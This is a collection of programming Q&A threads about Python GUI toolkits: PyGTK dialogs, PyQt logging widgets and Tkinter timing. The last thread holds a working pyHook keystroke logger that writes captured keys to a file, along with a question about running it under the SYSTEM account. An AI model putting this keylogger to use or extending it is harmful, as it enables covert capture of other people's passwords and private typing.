close pygtk dialog window after it was used - events

I am currently writing a wrapper for a small console program I wrote.
The c program needs a password string as input and because I intend to use it through dmenu and such, I'd like to use a little gtk entry box to enter that string.
However, I have to fork after I get the input (because I'm also handling clipboard stuff which needs deletion after some time) and the window simply won't close until the child process exits.
from subprocess import Popen, PIPE
from gi.repository import Gtk
import sys
import os
import time
import getpass
HELP_MSG = "foobar [options] <profile>"
class EntryDialog(Gtk.Dialog):
def run(self):
result = super(EntryDialog, self).run()
if result == Gtk.ResponseType.OK:
text = self.entry.get_text()
else:
text = None
return text
def __init__(self):
super(EntryDialog, self).__init__()
entry = Gtk.Entry()
entry.set_visibility(False)
entry.connect("activate",
lambda ent, dlg, resp:
dlg.response(resp),
self,
Gtk.ResponseType.OK)
self.vbox.pack_end(entry, True, True, 0)
self.vbox.show_all()
self.entry = entry
def get_pwd():
if sys.stdin.isatty():
return getpass.getpass()
else:
prompt = EntryDialog()
prompt.connect("destroy", Gtk.main_quit)
passwd = prompt.run()
prompt.destroy()
return passwd
The thought is, that it should close when I hit enter, but I'm pretty sure I'm doing something entirely wrong.
The script basically continues like this:
profile = argv[0]
pwd = get_pwd()
if pwd is None:
print(HELP_MSG)
sys.exit()
out = doStuff()
text_to_clipboard(out)
# now fork and sleep!
if os.fork():
sys.exit()
time.sleep(10)
clear_clipboard()
sys.exit(0)

I dropped the python wrapper and wrote it directly in c. However, for anyone having the same problem, the (untested) solution would be to add a function
def quit():
self.emit("destroy")
where 'self' is the dialog box - and connect that to the "activate" signal,
entry.connect("activate", quit)
so that the dialog widget emits the destroy signal as soon as the user hits Return and thus Gtk.main_quit gets called.
In c the content can be extracted nicely by specifying a GtkEntryBuffer and calling it's
gtk_entry_buffer_get_text()
I didn't find it right now, but there is probably an equivalent for pygtk available.

Related

PyQt5 GUI calling a function in a module that prints status to console. Want to pipe the status messages to PyQt5 GUI text box, how? [duplicate]

I am currently working on a GUI using qt designer. I am wondering how I should go about printing strings on the GUI that acts like a logger window. I am using pyqt5.
Adapted from Todd Vanyo's example for PyQt5:
import sys
from PyQt5 import QtWidgets
import logging
# Uncomment below for terminal log messages
# logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(name)s - %(levelname)s - %(message)s')
class QTextEditLogger(logging.Handler):
def __init__(self, parent):
super().__init__()
self.widget = QtWidgets.QPlainTextEdit(parent)
self.widget.setReadOnly(True)
def emit(self, record):
msg = self.format(record)
self.widget.appendPlainText(msg)
class MyDialog(QtWidgets.QDialog, QtWidgets.QPlainTextEdit):
def __init__(self, parent=None):
super().__init__(parent)
logTextBox = QTextEditLogger(self)
# You can format what is printed to text box
logTextBox.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
logging.getLogger().addHandler(logTextBox)
# You can control the logging level
logging.getLogger().setLevel(logging.DEBUG)
self._button = QtWidgets.QPushButton(self)
self._button.setText('Test Me')
layout = QtWidgets.QVBoxLayout()
# Add the new logging box widget to the layout
layout.addWidget(logTextBox.widget)
layout.addWidget(self._button)
self.setLayout(layout)
# Connect signal to slot
self._button.clicked.connect(self.test)
def test(self):
logging.debug('damn, a bug')
logging.info('something to remember')
logging.warning('that\'s not right')
logging.error('foobar')
app = QtWidgets.QApplication(sys.argv)
dlg = MyDialog()
dlg.show()
dlg.raise_()
sys.exit(app.exec_())
Threading issues
Note: as of late 2022, this is still the highest ranked answer. The OP doesn't seem to be active anymore, so I took the liberty of editing it because the lack of explanation of the implications of its usage is a common cause of closely related questions.
Be aware that the above code will only work for single threaded programs. If you are sure that your program doesn't use threading, then it's fine. Be aware, though: you have to be completely sure about that, also considering external modules. Qt included.
Don't underestimate this aspect: even some Qt classes that are thread safe are actually not single threaded; for instance, QFileSystemModel is a thread safe object, but it does use threading for file system crawling. If it faces a problem for any reason (ie. access permissions), it will output some debug messages from those threads, and you'll probably still get issues.
Possible results of underestimated threading issues while accessing UI elements include:
unexpected behavior;
drawing artifacts;
lots of "unrelated" debug messages;
possible fatal crash of the program;
So, as a rule of thumb, the above has to be considered as unsafe and should not be used, since it attempts to access the QPlainTextEdit widget even from external threads: widgets are not thread-safe, and can only be accessed from the main thread.
Since there is no immediate way to know if the logging source is in the same thread or not without pointlessly affecting performance, it's better to always use a thread safe solution in any case (see the other answers that consider this aspect).
If you are using the Python logging module to can easily create a custom logging handler that passes the log messages through to a QPlainTextEdit instance (as described by Christopher).
To do this you first subclass logging.Handler. In this __init__ we create the QPlainTextEdit that will contain the logs. The key bit here is that the handle will be receiving messages via the emit() function. So we overload this function and pass the message text into the QPlainTextEdit.
import logging
class QPlainTextEditLogger(logging.Handler):
def __init__(self, parent):
super(QPlainTextEditLogger, self).__init__()
self.widget = QPlainTextEdit(parent)
self.widget.setReadOnly(True)
def emit(self, record):
msg = self.format(record)
self.widget.appendPlainText(msg)
def write(self, m):
pass
Create an object from this class, passing it the parent for the QPlainTextEdit (e.g. the main window, or a layout). You can then add this handler for the current logger.
# Set up logging to use your widget as a handler
log_handler = QPlainTextEditLogger(<parent widget>)
logging.getLogger().addHandler(log_handler)
Here's a complete working example based on mfitzp's answer:
import sys
from PyQt4 import QtCore, QtGui
import logging
# Uncomment below for terminal log messages
# logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(name)s - %(levelname)s - %(message)s')
class QPlainTextEditLogger(logging.Handler):
def __init__(self, parent):
super().__init__()
self.widget = QtGui.QPlainTextEdit(parent)
self.widget.setReadOnly(True)
def emit(self, record):
msg = self.format(record)
self.widget.appendPlainText(msg)
class MyDialog(QtGui.QDialog, QPlainTextEditLogger):
def __init__(self, parent=None):
super().__init__(parent)
logTextBox = QPlainTextEditLogger(self)
# You can format what is printed to text box
logTextBox.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
logging.getLogger().addHandler(logTextBox)
# You can control the logging level
logging.getLogger().setLevel(logging.DEBUG)
self._button = QtGui.QPushButton(self)
self._button.setText('Test Me')
layout = QtGui.QVBoxLayout()
# Add the new logging box widget to the layout
layout.addWidget(logTextBox.widget)
layout.addWidget(self._button)
self.setLayout(layout)
# Connect signal to slot
self._button.clicked.connect(self.test)
def test(self):
logging.debug('damn, a bug')
logging.info('something to remember')
logging.warning('that\'s not right')
logging.error('foobar')
if (__name__ == '__main__'):
app = None
if (not QtGui.QApplication.instance()):
app = QtGui.QApplication([])
dlg = MyDialog()
dlg.show()
dlg.raise_()
if (app):
app.exec_()
Thread-safe version
class QTextEditLogger(logging.Handler, QtCore.QObject):
appendPlainText = QtCore.pyqtSignal(str)
def __init__(self, parent):
super().__init__()
QtCore.QObject.__init__(self)
self.widget = QtWidgets.QPlainTextEdit(parent)
self.widget.setReadOnly(True)
self.appendPlainText.connect(self.widget.appendPlainText)
def emit(self, record):
msg = self.format(record)
self.appendPlainText.emit(msg)
Usage
logTextBox = QTextEditLogger(self)
# log to text box
logTextBox.setFormatter(
logging.Formatter(
'%(asctime)s %(levelname)s %(module)s %(funcName)s %(message)s'))
logging.getLogger().addHandler(logTextBox)
logging.getLogger().setLevel(logging.DEBUG)
# log to file
fh = logging.FileHandler('my-log.log')
fh.setLevel(logging.DEBUG)
fh.setFormatter(
logging.Formatter(
'%(asctime)s %(levelname)s %(module)s %(funcName)s %(message)s'))
logging.getLogger().addHandler(fh)
Alex's answer should be ok in a single thread scenario, but if you are logging in another thread (QThread) you may get the following warning:
QObject::connect: Cannot queue arguments of type 'QTextCursor'
(Make sure 'QTextCursor' is registered using qRegisterMetaType().)
This is because you are modifying the GUI (self.widget.appendPlainText(msg)) from a thread other than the main thread without using the Qt Signal/Slot mechanism.
Here is my solution:
# my_logger.py
import logging
from PyQt5.QtCore import pyqtSignal, QObject
class Handler(QObject, logging.Handler):
new_record = pyqtSignal(object)
def __init__(self, parent):
super().__init__(parent)
super(logging.Handler).__init__()
formatter = Formatter('%(asctime)s|%(levelname)s|%(message)s|', '%d/%m/%Y %H:%M:%S')
self.setFormatter(formatter)
def emit(self, record):
msg = self.format(record)
self.new_record.emit(msg) # <---- emit signal here
class Formatter(logging.Formatter):
def formatException(self, ei):
result = super(Formatter, self).formatException(ei)
return result
def format(self, record):
s = super(Formatter, self).format(record)
if record.exc_text:
s = s.replace('\n', '')
return s
# gui.py
... # GUI code
...
def setup_logger(self)
handler = Handler(self)
log_text_box = QPlainTextEdit(self)
self.main_layout.addWidget(log_text_box)
logging.getLogger().addHandler(handler)
logging.getLogger().setLevel(logging.INFO)
handler.new_record.connect(log_text_box.appendPlainText) # <---- connect QPlainTextEdit.appendPlainText slot
...
Sounds like you'll want to use a QPlainTextEdit widget set to read-only.
Consider changing the background color to gray to give the user a hint that it is not editable. It is also up to you if you want it to be scrollable or the text selectable.
This answer can get you started subclassing QPlainTextEdit to scroll with output, save to a file, whatever.
Sifferman’s answer appears to be the most elegant to me. Regardless, I've tried all in this post. They all work, but notice that if you try, e.g., to write a test and create a log entry on it you might get a nasty error like
RuntimeError: wrapped C/C++ object of type QPlainTextEdit has been deleted
After loosing my mind for a couple hours, I noticed that it's quite important to delete the handler manually when closing the window,
def closeEvent(self, event):
...
root_logger = logging.getLogger()
root_logger.removeHandler(self.logger)
...
super().closeEvent(event)

Problems interrupting a python Input (Mac)

I am trying to allow a user to input multiple answers but only within an allocated amount of time. The problem is I have it running but the program will not interrupt the input. The program will only stop the user from inputing if the user inputs an answer after the time ends. Any ideas? Is what I am trying to do even possible in python?
I have tried using threading and the signal module however they both result in the same issue.
Using Signal:
import signal
def handler(signum, frame):
raise Exception
def answer_loop():
score = 0
while True:
answer = input("Please input your answer")
signal.signal(signal.SIGALRM, handler)
signal.alarm(5)
try:
answer_loop()
except Exception:
print("end")
signal.alarm(0)
Using Threading:
from threading import Timer
def end():
print("Time is up")
def answer_loop():
score = 0
while True:
answer = input("Please input your answer")
time_limit = 5
t = Timer(time_limit, end)
t.start()
answer_loop()
t.cancel()
Your problem is that builtin input does not have a timeout parameter and, AFAIK, threads cannot be terminated by other threads. I suggest instead that you use a GUI with events to finely control user interaction. Here is a bare bones tkinter example.
import tkinter as tk
root = tk.Tk()
label = tk.Label(root, text='answer')
entry = tk.Entry(root)
label.pack()
entry.pack()
def timesup():
ans = entry.get()
entry.destroy()
label['text'] = f"Time is up. You answered {ans}"
root.after(5000, timesup)
root.mainloop()

Tkinter grid and time.sleep()

I would like a label to be .grid() then the program to wait 3 seconds and then .grid_forget(). I am very confused at the point .grid is executed. For example:
def remove_choice(self):
while True:
try:
get = int(self.entry_remove_choice.get())
except ValueError:
self.label_error_remove.grid(row=10,column=6) #A
time.sleep(3)
self.label_error_remove.grid_forget() #B
#Empty entry box
break
else:
#continue code
break
Once the button is pressed and remove_choice is executed, the button is displayed to be pressed in for three seconds then #A and #B are executed in one go and nothing is displayed.
If #B is removed then the error message is displayed after three seconds.
If #A and #B are swapped for print to terminal then program works how you would think, with one message, a wait of three seconds, then another message.
If you do a very sloppy solution (which Im not that bothered about for this program) and do this:
def remove_choice(self):
while True:
try:
get = int(self.entry_remove_choice.get())
except ValueError:
self.label_error_remove.grid(row=10,column=6) #A
for n in range (1,1000):
print("abc")
self.label_error_remove.grid_forget()
break
else:
#continue code
break
When executed "abc" is printed 1000 times taking around 1.5 seconds and then after this the program displays the grid.
Any suggestions to how to make TKinter wait please.
Also can someone explain why grid works like this, thanks.
Rather than trying 'forgetting' the label each time, why not just clear the error message text?
My example below will wait for the user to press the button and display the error message for 3 seconds. I'm using the .after method to schedule the hideError method 3 seconds (3000 ms) after the error message is displayed.
try:
import tkinter as tk
except:
import Tkinter as tk
import time
class App(tk.Frame):
def __init__(self,master=None,**kw):
tk.Frame.__init__(self,master=master,**kw)
self.errorMessage = tk.StringVar()
self.ErrorLabel = tk.Label(textvar=self.errorMessage)
self.ErrorLabel.grid()
self.button = tk.Button(text="Press Me",command=self.showError)
self.button.grid()
def showError(self):
# Disable the button and show the error message
self.button['state'] = tk.DISABLED
self.errorMessage.set("Error Message!!!!")
self.after(3000,self.hideError)
def hideError(self):
#Enable the button and clear the error message.
self.button['state'] = tk.NORMAL
self.errorMessage.set("")
if __name__ == '__main__':
root = tk.Tk()
App(root).grid()
root.mainloop()
It is considered bad practice to use while True loops or time.sleep inside GUI applications. They prevent the GUI from updating so in your code both actions appear to happen at the same time because the time.sleep operation is blocking the GUI and preventing the screen from being redrawn.
EDIT: Passing arguments from callbacks.
Current problem is that the after method expects to receive a reference to a function. self.hideError(3) returns NoneType not reference to a function call. We can solve this using anonymous functions and lambda.
I've started to use this snippet of code to help, its from guizero
def with_args( func_name, *args):
"""Helper function to make lambda functions easier
Thanks to guizero"""
return lambda: func_name(*args)
Then in your main section of code the line would look like this.
self.after(3000,with_args(self.hideError,3))
EDIT: There is an even simpler way. The .after method can take arguments itself.
self.after(3000,self.hideError,3)

Tkinter problems with GUI when entering while loop

I have a simple GUI which run various scripts from another python file, everything works fine until the GUI is running a function which includes a while loop, at which point the GUI seems to crash and become in-active. Does anybody have any ideas as to how this can be overcome, as I believe this is something to do with the GUI being updated,Thanks. Below is a simplified version of my GUI.
GUI
#!/usr/bin/env python
# Python 3
from tkinter import *
from tkinter import ttk
from Entry import ConstrainedEntry
import tkinter.messagebox
import functions
AlarmCode = "2222"
root = Tk()
root.title("Simple Interface")
mainframe = ttk.Frame(root, padding="3 3 12 12")
mainframe.grid(column=0, row=0, sticky=(N, W, E, S))
mainframe.columnconfigure(0, weight=1)
mainframe.rowconfigure(0, weight=1)
ttk.Button(mainframe, width=12,text="ButtonTest",
command=lambda: functions.test()).grid(
column=5, row=5, sticky=SE)
for child in mainframe.winfo_children():
child.grid_configure(padx=5, pady=5)
root.mainloop()
functions
def test():
period = 0
while True:
if (period) <=100:
time.sleep(1)
period +=1
print(period)
else:
print("100 seconds has passed")
break
What will happen in the above is that when the loop is running the application will crash. If I insert a break in the else statement after the period has elapsed, everything will work fine. I want users to be able to click when in loops as this GUI will run a number of different functions.
Don't use time.sleep in the same thread than your Tkinter code: it freezes the GUI until the execution of test is finished. To avoid this, you should use after widget method:
# GUI
ttk.Button(mainframe, width=12,text="ButtonTest",
command=lambda: functions.test(root))
.grid(column=5, row=5, sticky=SE)
# functions
def test(root, period=0):
if period <= 100:
period += 1
print(period)
root.after(1000, lambda: test(root, period))
else:
print("100 seconds has passed")
Update:
In your comment you also add that your code won't use time.sleep, so your original example may not be the most appropiate. In that case, you can create a new thread to run your intensive code.
Note that I posted the alternative of after first because multithreading should be used only if it is completely necessary - it adds overhead to your applicacion, as well as more difficulties to debug your code.
from threading import Thread
ttk.Button(mainframe, width=12,text="ButtonTest",
command=lambda: Thread(target=functions.test).start())
.grid(column=5, row=5, sticky=SE)
# functions
def test():
for x in range(100):
time.sleep(1) # Simulate intense task (not real code!)
print(x)
print("100 seconds has passed")

pyhook user keyboard

Using Windows 7, Python 2.7 I wrote and compiled the code below (with pyinstaller2-0) and it works fine if I start it by right clicking and choose run as admin, but when I start it through the task scheduler as the system user, it does not log any keys (after the 10 second wait, it just creates an empty output file). I'm thinking maybe because I'm running it as a different account, its not hooking the "correct keyboard"?
import threading
import pyHook
import pythoncom
import time
def OnKeyboardEvent(event):
global keylog
keylog.append(chr(event.Ascii))
return
class thekeylogger ( threading.Thread ):
def run ( self ):
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
return
keylog = []
thekeylogger().start()
time.sleep(10)
keys = "".join(keylog)
output_file = open('c:\\project\\test.txt', 'w')
output_file.write(keys)
output_file.close()

Resources